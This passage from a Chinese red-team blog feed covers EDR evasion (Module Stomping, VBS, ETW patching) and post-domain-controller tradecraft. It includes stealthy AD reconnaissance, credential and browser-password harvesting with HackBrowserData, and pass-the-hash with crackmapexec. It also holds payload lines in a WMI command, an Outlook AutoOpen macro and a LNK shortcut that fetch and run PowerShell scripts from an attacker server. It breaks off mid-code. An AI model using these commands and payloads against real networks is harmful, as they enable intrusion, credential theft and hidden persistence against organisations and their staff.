创建线程执行入口点"></a>4. <strong>调用模块导出函数 或 创建线程执行入口点</strong></h5><ul><li>实际执行的就是你写入的 Beacon，而看上去是合法模块的行为</li></ul><h5 id="对应传统思路1的进阶反制"><a href="#对应传统思路1的进阶反制" class="headerlink" title="对应传统思路1的进阶反制"></a>对应传统思路1的进阶反制</h5><p>之前我们是通过<code>VirtualAlloc</code>申请私有内存，将<code>shellcode</code>写入到其中。而MoudleStumping是通过劫持合法dll， 篡改合法内存执行代码。<code>.text</code> 区域是 <code>MEM_IMAGE</code> 类型 → 不在 EDR 的 <code>MEM_PRIVATE+EXECUTE</code> 监控范围内</p><p>没有新模块注入 → <code>dlllist</code>, <code>pe-sieve</code>, <code>memory scanner</code> 等不会报告新增模块</p><p>所在模块路径存在于磁盘 → 无法一眼看出是注入模块</p><h5 id="EDR防御机制（基于业务与排查方法阐述"><a href="#EDR防御机制（基于业务与排查方法阐述" class="headerlink" title="EDR防御机制（基于业务与排查方法阐述"></a>EDR防御机制（基于业务与排查方法阐述</h5><p>通过EDR的角度来看，从日志而言是肯定能观测到鸠占鹊巢的行为，但正常系统的dll也存在这种覆写行为，<strong>因此EDR需要结合其他维度进行排查</strong></p><p>因此免杀的目的，其实就是拉高EDR的阈值，为一线人员争取更多完成既定任务的时间。</p><p><strong>这里拿出一个情境来说：</strong><br>作为EDR而言，在一个生产环境中，用户每日都在进行打开WPS,Outlook,打印等流程。基于这个行为制作出了对应的行为模型和标杆，<strong>那么你作为外部测试人员，哪怕是通过Moudle Stumping鸠占鹊巢的手段达成了驻留的目的，但你在里面执行命令的操作势必就犹如在地铁上刷登机牌一样，对于EDR日常模拟出的用户行为模型是明显的不正常行为</strong></p><h5 id="EDR-with-VBS防御机制"><a href="#EDR-with-VBS防御机制" class="headerlink" title="EDR with VBS防御机制"></a>EDR with VBS防御机制</h5><p>在 Win10 之后（特别是 Win11 默认开启），VBS 指的是：</p><blockquote><p><strong>通过 Hyper-V 虚拟化技术实现的内核隔离机制，用来强化 Credential Guard、HVCI、Kernel Code Integrity 等功能。</strong></p></blockquote><p><strong>VBS 与 EDR 的整合：做了哪些事？</strong></p><table><thead><tr><th>功能</th><th>作用</th><th>对红队影响</th></tr></thead><tbody><tr><td><strong>HVCI（Hypervisor-protected Code Integrity）</strong></td><td>强制所有内核代码都要经过签名校验</td><td>拒绝加载未签名或伪造签名的驱动</td></tr><tr><td><strong>Credential Guard</strong></td><td>将LSASS运行在 VSM（隔离容器）中</td><td>传统 mimikatz 无法直接读内存</td></tr><tr><td><strong>Kernel-mode Code Integrity（KMCI）</strong></td><td>加强驱动签名验证与运行时保护</td><td>加载 BYOVD 驱动时易被拦截&#x2F;拒绝</td></tr><tr><td><strong>KDP（Kernel Data Protection）</strong></td><td>保护某些内核对象和结构不可修改</td><td>Patch SSDT&#x2F;EDR回调 失败率提高</td></tr><tr><td><strong>EDR Sensor Isolation</strong></td><td>将 EDR 驱动模块运行在 VTL1（虚拟化信任层）</td><td>红队无法在 VTL0（正常内核）中卸载&#x2F;patch 探针</td></tr></tbody></table><p>简言之：<strong>你即使能提权拿到 SYSTEM，甚至能注入内核，也无法“真正”对抗驻留在 VBS 支持下的 EDR 内核组件。</strong></p><p>在 Windows 11 中，EDR 利用 VBS 做的最关键事情是**：加强对内核代码完整性、驱动签名验证、EDR 模块隔离的控制**，导致红队几乎<strong>无法使用传统 BYOVD 手法加载未签名或漏洞驱动</strong>来做内核 Patch 或卸载。</p><p>注解：BYOVD手法 <strong>也就是利用内核驱动关闭杀软进程</strong></p><p><strong>参考</strong>：<a href="https://forum.butian.net/share/2832">奇安信攻防社区-BYOVD技术实战：利用内核驱动关闭杀软进程</a></p><p>因此在VBS机制的保护下，<strong>硬刚EDR其实是损耗比很大的工作，与其追求卸载杀软进程，不如从绕和驻留的角度进一步入手这个思路。</strong></p><h5 id="EDR-ETW订阅机制"><a href="#EDR-ETW订阅机制" class="headerlink" title="EDR_ETW订阅机制"></a>EDR_ETW订阅机制</h5><p>引申：<strong>为什么我们在当前用户权限下，无法影响&#x2F;patch EDR 内部的 ETW 订阅机制？</strong></p><p>ETW是**一种Windows内核和应用程序级的事件跟踪机制，允许捕获系统运行时的事件，**EtwEventWrite函数是用于生成这些事件的函数。<strong>当恶意软件或攻击者希望隐藏进程的活动或避免监控时，他们可能会使用ETW补丁技术来拦截或修改EtwEventWrite函数，从而阻止进程生成ETW事件。</strong></p><p>相对的 <strong>阐述一下BypassETW手法（如图）</strong></p><p><img src="/posts/2580e02a/image-20250803164347649.png" alt="image-20250803164347649"></p><p>但在当前情境下，我们通过BypassETW实现规避监控是很困难的，可以通过logman query providers观察到微软内置的一些监控进程。 <strong>可以看到哪怕没有EDR，微软自带的威胁情报也能监控的死死的。</strong></p><p><img src="/posts/2580e02a/image-20250803164601270.png" alt="image-20250803164601270"></p>]]></content>
    
    
    <summary type="html">千秋二壮士，烜赫大梁城。知己知彼，了解机制方能byPass</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="Bypass" scheme="https://blog.sudo.online/tags/Bypass/"/>
    
    <category term="二线" scheme="https://blog.sudo.online/tags/%E4%BA%8C%E7%BA%BF/"/>
    
    <category term="C2" scheme="https://blog.sudo.online/tags/C2/"/>
    
  </entry>
  
  <entry>
    <title>仅仅拿下了域控？</title>
    <link href="https://blog.sudo.online/posts/c6650469/"/>
    <id>https://blog.sudo.online/posts/c6650469/</id>
    <published>2025-07-29T12:47:43.000Z</published>
    <updated>2025-12-14T13:55:27.120Z</updated>
    
    <content type="html"><![CDATA[<h1 id="仅仅拿下了域控？"><a href="#仅仅拿下了域控？" class="headerlink" title="仅仅拿下了域控？"></a>仅仅拿下了域控？</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>接管全域过后，拔剑四顾心茫然。<strong>仅仅拿下了域控？</strong></p><p>域控究竟代表了什么？哪怕你dump下了所有用户的密码hash等数据，面对画不完的拓扑，被拦截的流量，下一秒运维就会发现的危机，哪怕手握重器都有心无力。<strong>那么怎么在尽可能短的时间内扩大化战果？怎么找到真正有价值的东西？这是中文语境中大多数渗透文章缺失的部分</strong></p><p>众所周知，<strong>拿下域控只是渗透中的一环</strong>。如何定位重要资产并拿下重要的内容，以及立足于内网和实战中规避明显流量特征信息收集，而不是傻瓜式的自动化用fscan、Nmap简单套一些线程做完整的信息收集。</p><p>这是渗透核心问题：如何绕过”脚本小子阶段”的暴力面扫与信息堆叠，转而基于目标导向的资产定位、隐蔽行动、实战级信息收集与行动策略调整。</p><p><strong>核心理念：不是收集越多信息越强，而是定位越准、干扰越少才有生存空间。</strong></p><p>从”网段-&gt;主机-&gt;服务”的流量逻辑转变为”组织-&gt;业务-&gt;人员-&gt;资产-&gt;薄弱点”的思维逻辑。</p><p><strong>关键点：目标导向资产链</strong></p><p>组织结构分析 → 关键人员识别 → 业务系统映射 → 数据流向分析 → 安全策略评估 → 攻击路径规划</p><h2 id="一、组织结构分析：绕开FScan逻辑的隐蔽信息收集"><a href="#一、组织结构分析：绕开FScan逻辑的隐蔽信息收集" class="headerlink" title="一、组织结构分析：绕开FScan逻辑的隐蔽信息收集"></a>一、组织结构分析：绕开FScan逻辑的隐蔽信息收集</h2><p>fscan + rdpscan + MS17xxx一把梭，最多会吃EDR拉黑&#x2F;运维踢出。因此我们要的是非特征性信息收集链：</p><p><img src="/posts/c6650469/7279ca34-0f2f-341f-b248-9e77fc3b9713.png" alt="image.png"></p><h3 id="基于组织架构的轻量枚举-一条命令一批信息"><a href="#基于组织架构的轻量枚举-一条命令一批信息" class="headerlink" title="基于组织架构的轻量枚举 - 一条命令一批信息"></a>基于组织架构的轻量枚举 - 一条命令一批信息</h3><table><thead><tr><th>操作</th><th>工具&#x2F;命令</th><th>作用</th></tr></thead><tbody><tr><td>获取当前主机与邻接主机信息</td><td>net view, arp -a, WMI查询</td><td>无需任何扫描</td></tr><tr><td>AD结构探测（无密码）</td><td>ldapsearch, bloodhound-python，PowerView</td><td>可选用Kerberoasting收集用户信息</td></tr><tr><td>DNS递归探测</td><td>nslookup -type&#x3D;any domain.local + zone walking</td><td>无需大范围端口扫描</td></tr><tr><td>SMB管道探测邻域</td><td>net group &#x2F;domain、net session等</td><td>获取连接路径和关系图谱</td></tr><tr><td>缓存凭据探测</td><td>vaultcmd, mimikatz, WMI事件探测</td><td>指向高权限账户位置</td></tr><tr><td>进程与服务观察</td><td>tasklist, Get-WmiObject Win32_Service</td><td>辅助定位关键业务主机</td></tr></tbody></table><h3 id="利用现有”可见面”搜集内部信息"><a href="#利用现有”可见面”搜集内部信息" class="headerlink" title="利用现有”可见面”搜集内部信息"></a>利用现有”可见面”搜集内部信息</h3><p>作为域控，有权限访问这个业务的势必是<strong>技术人员</strong>&amp;<strong>企业高管</strong>，那么从域控入手，思考技术人员的配置习惯，以及到底都是谁登录访问了这台机器，都很有必要作为我们收集的方向。</p><ul><li><p><strong>GPO配置导出</strong>：大量安全策略信息，包括认证策略、共享策略等</p></li><li><p><strong>注册表横向情报</strong>：如自动登录、共享缓存、历史连接信息 </p></li><li><p><strong>登录日志本地关联</strong>：可通过”谁登录过这台机器”反推出”谁可能是管理员”</p></li></ul><p><strong>域控机上的实战信息收集清单：</strong></p><h4 id="域结构情报（组织、人、权限三位一体）"><a href="#域结构情报（组织、人、权限三位一体）" class="headerlink" title="域结构情报（组织、人、权限三位一体）"></a>域结构情报（组织、人、权限三位一体）</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># OU列表（组织结构）</span><br><span class="line">Get-ADOrganizationalUnit -Filter * | select Name, DistinguishedName</span><br><span class="line"></span><br><span class="line"># 域用户列表（含描述字段很重要）</span><br><span class="line">Get-ADUser -Filter * -Properties DisplayName, Description, EmailAddress | Format-List</span><br><span class="line"></span><br><span class="line"># 域安全组</span><br><span class="line">Get-ADGroup -Filter * | select Name, GroupScope, Description</span><br></pre></td></tr></table></figure><p>看”描述””Email地址””DisplayName”可以挖人找业务、识别高价值目标。</p><h4 id="权限链分析（导出关系-本地分析）"><a href="#权限链分析（导出关系-本地分析）" class="headerlink" title="权限链分析（导出关系 本地分析）"></a>权限链分析（导出关系 本地分析）</h4><p><strong>BloodHound 导出数据：</strong></p><p>如果你不想跑 full ingestor，可以用轻量化方式导出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 用户-组关系、主机信息、ACL 权限等</span><br><span class="line">SharpHound.exe -c All -domain YOURDOMAIN.local -zipfilename data.zip</span><br></pre></td></tr></table></figure><p>导出的 data.zip 本地分析即可，不需要网络回传。</p><hr><h2 id="二、关键人员识别：以人为核心建立信息收集视角"><a href="#二、关键人员识别：以人为核心建立信息收集视角" class="headerlink" title="二、关键人员识别：以人为核心建立信息收集视角"></a>二、关键人员识别：以人为核心建立信息收集视角</h2><p>大多数实战目标都不是机器，而是人。<strong>围绕”人”来做信息收集</strong>，比堆资产更有效。</p><p>也就是我一直强调的内容：内网中一切流量都变得明显，既然拿下了域控&#x3D;&#x3D;&gt;那么将由常规的网络空间转为管理视角的业务空间</p><h3 id="典型策略"><a href="#典型策略" class="headerlink" title="典型策略"></a>典型策略</h3><table><thead><tr><th>信息源</th><th>目的</th></tr></thead><tbody><tr><td>AD中的description字段</td><td>找到业务、工号、邮箱、VIP标识</td></tr><tr><td>邮箱地址中的”别名”</td><td>分辨职务和层级（如 <a href="mailto:&#x7a;&#104;&#x61;&#110;&#103;&#x79;&#x2d;&#x76;&#x70;&#x40;&#99;&#x6f;&#x72;&#x70;&#x2e;&#x6c;&#111;&#x63;&#x61;&#x6c;">zhangy-vp@corp.local</a>）</td></tr><tr><td>共享文档中检索”密码”、”外包”、”RDP”等关键词</td><td>获取敏感操作线索</td></tr><tr><td>持续登录机器中识别多账户环境</td><td>哪些人”常驻”在哪些资产</td></tr><tr><td>SMTP&#x2F;邮件服务器日志</td><td>发现与外部联系的关键资产</td></tr></tbody></table><p><img src="/posts/c6650469/e996b68a-abea-3189-8fcd-73dcde652762.jpeg" alt="6ddca5f1d406df5eaa98b1fa79054f2.jpg"></p><h3 id="凭据相关（不是mimikatz，而是静态-行为推演）"><a href="#凭据相关（不是mimikatz，而是静态-行为推演）" class="headerlink" title="凭据相关（不是mimikatz，而是静态&#x2F;行为推演）"></a>凭据相关（不是mimikatz，而是静态&#x2F;行为推演）</h3><p><strong>看谁来过域控：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 安全日志：查看 Event ID 4624（登录）</span><br><span class="line">Get-WinEvent -LogName Security | ? &#123;$_.Id -eq 4624&#125; | select -First 100 | Format-List</span><br></pre></td></tr></table></figure><p><strong>查询本机是否保存了密码&#x2F;RDP历史：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># Vault 凭据</span><br><span class="line">vaultcmd /listcreds:&quot;Windows Credentials&quot;</span><br><span class="line"></span><br><span class="line"># RDP历史（注册表）</span><br><span class="line">reg query &quot;HKCU\Software\Microsoft\Terminal Server Client\Servers&quot;</span><br></pre></td></tr></table></figure><h2 id="三、业务系统映射：从资产定位到业务理解"><a href="#三、业务系统映射：从资产定位到业务理解" class="headerlink" title="三、业务系统映射：从资产定位到业务理解"></a>三、业务系统映射：从资产定位到业务理解</h2><h3 id="组策略情报（看策略，看谁被管）"><a href="#组策略情报（看策略，看谁被管）" class="headerlink" title="组策略情报（看策略，看谁被管）"></a>组策略情报（看策略，看谁被管）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"># 本地有效策略</span><br><span class="line">gpresult /R</span><br><span class="line"></span><br><span class="line"># 全局策略列表</span><br><span class="line">Get-GPO -All | select DisplayName, GpoStatus, CreationTime</span><br><span class="line"></span><br><span class="line"># GPO中脚本、映射、计划任务（爆破定制逻辑）</span><br><span class="line">Get-GPOReport -Name &quot;XXX策略&quot; -ReportType HTML -Path C:\GPO-XXX.html</span><br></pre></td></tr></table></figure><p>注意 GPO 中常嵌脚本、计划任务映射、共享驱动器等”业务手脚”。</p><h3 id="关键资产与服务定位（不是扫，是读）"><a href="#关键资产与服务定位（不是扫，是读）" class="headerlink" title="关键资产与服务定位（不是扫，是读）"></a>关键资产与服务定位（不是扫，是读）</h3><p><strong>查询域中计算机对象：</strong></p><p>Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate | Format-Table Name, OS, LastLogonDate</p><p>重点看命名规律，如 sql-prod-01、sap-fin-02、jump-vpn-01 、DB39、storage-88等业务侧命名。</p><h3 id="重要资产定位方法论（不靠扫描靠推演）"><a href="#重要资产定位方法论（不靠扫描靠推演）" class="headerlink" title="重要资产定位方法论（不靠扫描靠推演）"></a>重要资产定位方法论（不靠扫描靠推演）</h3><h4 id="基于组织结构做推演"><a href="#基于组织结构做推演" class="headerlink" title="基于组织结构做推演"></a>基于组织结构做推演</h4><p>一般也可以<strong>通过主机名</strong>做对应的推演</p><p> <strong>关键问题：</strong></p><ul><li><p>谁是<strong>业务管理？</strong> </p></li><li><p>谁负责敏感数据（如<strong>财务、人事、R&amp;D</strong>）？ </p></li><li><p>谁有<strong>更高权限或接口权限？</strong></p></li></ul><h4 id="结合线索构建目标资产优先级"><a href="#结合线索构建目标资产优先级" class="headerlink" title="结合线索构建目标资产优先级"></a>结合线索构建目标资产优先级</h4><table><thead><tr><th>线索类型</th><th>实例</th></tr></thead><tbody><tr><td>登录频率高</td><td>某主机被多人登录、夜间活跃</td></tr><tr><td>数据量大</td><td>文件夹&#x2F;共享目录大，含数据库连接符</td></tr><tr><td>被访问最多</td><td>日志中频繁出现RDP&#x2F;SMB访问</td></tr><tr><td>服务关联性强</td><td>DNS服务器、域控、堡垒机、工控主机</td></tr></tbody></table><h2 id="四、数据流向分析：主动”听人说话”"><a href="#四、数据流向分析：主动”听人说话”" class="headerlink" title="四、数据流向分析：主动”听人说话”"></a>四、数据流向分析：主动”听人说话”</h2><h3 id="事件日志-文件痕迹"><a href="#事件日志-文件痕迹" class="headerlink" title="事件日志 + 文件痕迹"></a>事件日志 + 文件痕迹</h3><p><strong>看用户或系统留下的痕迹：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 最近被访问文件</span><br><span class="line">Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\Recent</span><br><span class="line"></span><br><span class="line"># Office中最近打开的文件</span><br><span class="line">dir &quot;C:\Users\*\AppData\Roaming\Microsoft\Office\Recent&quot;</span><br></pre></td></tr></table></figure><p>→ 能看到谁在操作什么<strong>搜索含”密码”、”账号”、”VPN”的文件内容：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-ChildItem -Path C:\Users\ -Include *.txt,*.docx -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern &quot;password|vpn|账号|密码&quot; -Encoding UTF8</span><br></pre></td></tr></table></figure><h3 id="深入用户本身：浏览器数据与用户行为分析"><a href="#深入用户本身：浏览器数据与用户行为分析" class="headerlink" title="深入用户本身：浏览器数据与用户行为分析"></a>深入用户本身：浏览器数据与用户行为分析</h3><p>当你拿到了域控，接下来的目标应该是深入到具体的办公机，挖掘用户的真实行为数据。<strong>这里不再是传统的”拿Shell-&gt;提权-&gt;横向”的机械流程，而是要像一个真正的企业用户一样，通过看似正常的数字足迹来构建完整的攻击路径。</strong></p><h4 id="HackBrowserData"><a href="#HackBrowserData" class="headerlink" title="HackBrowserData"></a>HackBrowserData</h4><p>浏览器是现代用户最重要的数字入口，也是信息泄露的重灾区。相比传统的内存dump或注册表挖掘，浏览器数据挖掘更加精准、高效。</p><p><img src="/posts/c6650469/f75fbf6f-d113-3303-a524-c5643e2c425d.png" alt="image.png"></p><p><strong>浏览器数据收集策略：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># 基础收集（适用于Chrome、Firefox、Edge等主流浏览器）</span><br><span class="line">./HackBrowserData -b chrome -f json -dir ./output</span><br><span class="line">./HackBrowserData -b firefox -f json -dir ./output</span><br><span class="line">./HackBrowserData -b edge -f json -dir ./output</span><br><span class="line"></span><br><span class="line"># 批量收集所有浏览器数据</span><br><span class="line">./HackBrowserData -b all -f json -dir ./browser_data</span><br></pre></td></tr></table></figure><p><strong>但这里有个坑点：你立足于域控 作为nt&#x2F;system权限的同时无法直接接触到目标用户上下文，就会由于无法获取用户DPAPI Key导致无法解密用户Chrome浏览器的Cookie以及loginData表， 因此 获取域控并不代表获取一切</strong></p><p><strong>下面也简单介绍几个方法</strong></p><p><strong>方法1：迁移到用户 Session 再解密</strong></p><ol><li>查用户在哪个 Session：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">query user</span><br></pre></td></tr></table></figure><ol start="2"><li>用 <code>tscon</code> 切换：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tscon &lt;session_id&gt; /dest:console</span><br></pre></td></tr></table></figure><ol start="3"><li>再执行解密工具（如 HackBrowserData），这时你就在用户的上下文中，也就拥有了解密权限。</li></ol><p> <strong>方法2：等用户登录，自动抓数据</strong> </p><ol><li><p>放个计划任务、WMI事件、LNK、宏脚本等</p></li><li><p>等用户登录后，在他会话里触发你的 payload这种方法就比较需要用户本身的交互，隐蔽性的保证我会在后续的方案中提到</p></li></ol><p><strong>从浏览器数据中提取情报：</strong></p><p><strong>密码管理分析：</strong></p><ul><li><p>保存的登录凭据（内网系统、云服务、VPN等）</p></li><li><p>自动填充的表单数据（可能包含敏感信息）</p></li><li><p>支付信息和个人资料</p></li></ul><p><strong>业务系统映射：</strong></p><ul><li><p>访问历史中的内网域名和IP</p></li><li><p>书签中的业务系统分类</p></li><li><p>下载记录中的敏感文件</p></li></ul><p><strong>社交工程素材：</strong></p><ul><li><p>搜索历史揭示的兴趣爱好</p></li><li><p>社交媒体账号和活动轨迹</p></li><li><p>个人习惯和行为模式</p></li></ul><h4 id="用户行为分析"><a href="#用户行为分析" class="headerlink" title="用户行为分析"></a>用户行为分析</h4><p> <strong>文件系统考古：</strong></p><p>不同于暴力搜索，这里要做的是”考古式”的挖掘：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"># 用户最近活动的文件</span><br><span class="line">Get-ChildItem -Path C:\Users\*\Desktop -Recurse -Include *.lnk | </span><br><span class="line">ForEach-Object &#123; </span><br><span class="line">    $shell = New-Object -ComObject WScript.Shell</span><br><span class="line">    $shortcut = $shell.CreateShortcut($_.FullName)</span><br><span class="line">    [PSCustomObject]@&#123;</span><br><span class="line">        Name = $_.Name</span><br><span class="line">        TargetPath = $shortcut.TargetPath</span><br><span class="line">        WorkingDirectory = $shortcut.WorkingDirectory</span><br><span class="line">        LastWriteTime = $_.LastWriteTime</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># Office文档的元数据分析</span><br><span class="line">Get-ChildItem -Path C:\Users\*\Documents -Include *.docx,*.xlsx,*.pptx -Recurse |</span><br><span class="line">ForEach-Object &#123;</span><br><span class="line">    $doc = New-Object -ComObject Word.Application</span><br><span class="line">    $document = $doc.Documents.Open($_.FullName, $false, $true)</span><br><span class="line">    [PSCustomObject]@&#123;</span><br><span class="line">        FileName = $_.Name</span><br><span class="line">        Author = $document.BuiltInDocumentProperties.Item(&quot;Author&quot;).Value</span><br><span class="line">        Company = $document.BuiltInDocumentProperties.Item(&quot;Company&quot;).Value</span><br><span class="line">        LastModifiedBy = $document.BuiltInDocumentProperties.Item(&quot;Last Author&quot;).Value</span><br><span class="line">        CreationDate = $document.BuiltInDocumentProperties.Item(&quot;Creation Date&quot;).Value</span><br><span class="line">    &#125;</span><br><span class="line">    $document.Close()</span><br><span class="line">    $doc.Quit()</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>网络连接历史分析：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># DNS缓存分析</span><br><span class="line">ipconfig /displaydns | Select-String &quot;Record Name&quot; | </span><br><span class="line">ForEach-Object &#123; $_.ToString().Split(&quot;:&quot;)[1].Trim() &#125; |</span><br><span class="line">Sort-Object | Get-Unique</span><br><span class="line"></span><br><span class="line"># 持久化连接分析</span><br><span class="line">netstat -an | Select-String &quot;ESTABLISHED&quot;</span><br><span class="line"></span><br><span class="line"># WiFi连接历史</span><br><span class="line">netsh wlan show profiles | Select-String &quot;All User Profile&quot;</span><br></pre></td></tr></table></figure><p><strong>应用程序使用模式：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"># 最近运行的程序</span><br><span class="line">Get-ItemProperty &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&quot; |</span><br><span class="line">Select-Object -Property * -ExcludeProperty PS*</span><br><span class="line"></span><br><span class="line"># 跳转列表分析（显示用户最常用的文件和应用）</span><br><span class="line">Get-ChildItem &quot;$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations&quot; -Filter &quot;*.automaticDestinations-ms&quot;</span><br></pre></td></tr></table></figure><h2 id="五、隐蔽持久化"><a href="#五、隐蔽持久化" class="headerlink" title="五、隐蔽持久化"></a>五、隐蔽持久化</h2><h3 id="持久化与横向移动也应贴近业务流，不制造异常流量"><a href="#持久化与横向移动也应贴近业务流，不制造异常流量" class="headerlink" title="持久化与横向移动也应贴近业务流，不制造异常流量"></a>持久化与横向移动也应贴近业务流，不制造异常流量</h3><p>要避免”显眼”特征，就不能搞那些显式的smb&#x2F;brute&#x2F;全流量扫描。</p><h4 id="常规思路-文件不落地的简单隐蔽打法"><a href="#常规思路-文件不落地的简单隐蔽打法" class="headerlink" title="常规思路&amp;文件不落地的简单隐蔽打法"></a>常规思路&amp;文件不落地的简单隐蔽打法</h4><p><strong>1. 利用AD中继 PTH全域</strong> NTLM中继攻击捕获目标的Net-NTLM Hash，并使用Hash传递（Pass-the-Hash, PtH）技术直接认证到其他主机，无需在目标主机上写入文件，实现横向移动。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># 直接上cme，这个比较常规，就是cme组合拳上线</span><br><span class="line">crackmapexec smb &lt;Target_IP&gt; -u &lt;Username&gt; -H &lt;NTLM_Hash&gt; -x &quot;&lt;command&gt;&quot;</span><br><span class="line"></span><br><span class="line"># 不过就目前而言 nxc的效果会比cme好些</span><br></pre></td></tr></table></figure><p><img src="/posts/c6650469/debef6d3-0c55-33fd-a9f1-1aecd6b2ed10.png" alt="image.png"></p><p><strong>2. 利用WMI执行远程命令（无二进制落地）</strong> Windows Management Instrumentation (WMI) 是Windows系统管理接口，可通过DCOM或WinRM协议远程执行命令，无需在目标主机上写入二进制文件，避免触发传统防病毒检测。</p><p><strong>内存执行：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Invoke-WmiMethod -ComputerName  -Class Win32_Process -Name Create -ArgumentList &quot;powershell.exe -ep bypass -c Invoke-RestMethod -Uri http:///malicious.ps1 | Invoke-Expression&quot;</span><br></pre></td></tr></table></figure><p>规避检测可以使用加密通道（如WinRM over HTTPS）或混淆脚本以降低被检测概率。</p><p> <strong>3. 利用RDP共享剪贴板进行数据搬运（非网络传输）</strong></p><p><strong>流程：</strong></p><ul><li><p>建立RDP会话：攻击者需具备目标主机的RDP访问权限（通过凭据或漏洞利用）</p></li><li><p>启用剪贴板共享：确保RDP客户端（如mstsc.exe）配置允许剪贴板共享（默认启用）</p></li></ul><p>数据提取：</p><ul><li><strong>在目标主机上，运行命令收集敏感数据</strong>，将结果复制到剪贴板</li></ul>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-Content C:\sensitive.txt | Set-Clipboard</span><br></pre></td></tr></table></figure><p>数据回传：</p><ul><li><strong>反向操作，将恶意脚本或命令通过剪贴板复制到目标主机</strong>，执行：</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-Clipboard | Invoke-Expression</span><br></pre></td></tr></table></figure><p><strong>4. 借助Outlook宏或LNK文件实现”无感知”植入</strong></p><p><strong>Outlook宏：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Sub AutoOpen()</span><br><span class="line">    Shell &quot;powershell.exe -ep bypass -c Invoke-RestMethod -Uri http://&lt;attacker_server&gt;/shell.ps1 | Invoke-Expression&quot;, vbHide</span><br><span class="line">End Sub</span><br></pre></td></tr></table></figure><p><strong>LNK文件：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$Shell = New-Object -ComObject WScript.Shell</span><br><span class="line">$Shortcut = $Shell.CreateShortcut(&quot;office365.lnk&quot;)</span><br><span class="line">$Shortcut.TargetPath = &quot;powershell.exe&quot;</span><br><span class="line">$Shortcut.Arguments = &quot;-ep bypass -c Invoke-RestMethod -Uri http://&lt;attacker_server&gt;/office365.ps1 | Invoke-Expression&quot;</span><br><span 